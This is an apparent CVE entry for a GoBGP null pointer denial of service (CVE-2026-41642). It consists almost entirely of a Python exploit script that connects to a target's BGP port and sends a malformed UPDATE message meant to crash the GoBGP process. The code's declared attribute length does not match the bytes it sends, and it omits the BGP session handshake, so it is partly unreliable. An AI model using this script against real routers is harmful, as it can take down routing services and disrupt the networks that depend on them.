CVE-2026-41642 GoBGP空指针解引用拒绝服务漏洞

import socket import struct # Target configuration TARGET_IP = "192.168.1.100" # Replace with actual GoBGP IP TARGET_PORT = 179 def exploit(): try: # 1. Establish TCP connection to BGP port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # 2. Construct BGP Header # Marker: 16 bytes of 0xFF marker = b'\xFF' * 16 # Type: 2 (UPDATE Message) msg_type = b'\x02' # 3. Construct BGP UPDATE Message body # Withdrawn Routes Length: 0 withdrawn_len = struct.pack('!H', 0) # Total Path Attribute Length: 4 (for the crafted attribute) path_attr_len = struct.pack('!H', 4) # Path Attribute: # Flags: 0x40 (Well-known, Transitive) - RFC 4271 # Type Code: 0xFF (Unrecognized/Unknown type) # Length: 0 # Value: (empty) attr_flags = b'\x40' attr_type = b'\xFF' attr_len = b'\x00' # Network Layer Reachability Information (NLRI): 0 nlri = b'' # Assemble the body body = withdrawn_len + path_attr_len + attr_flags + attr_type + attr_len + nlri # Calculate Total Length (Header 19 bytes + Body length) total_len = struct.pack('!H', 19 + len(body)) # Final Packet: Marker + Length + Type + Body packet = marker + total_len + msg_type + body # Send the malicious packet s.send(packet) print("[+] Malformed BGP packet sent.") print("[*] Check if GoBGP process crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()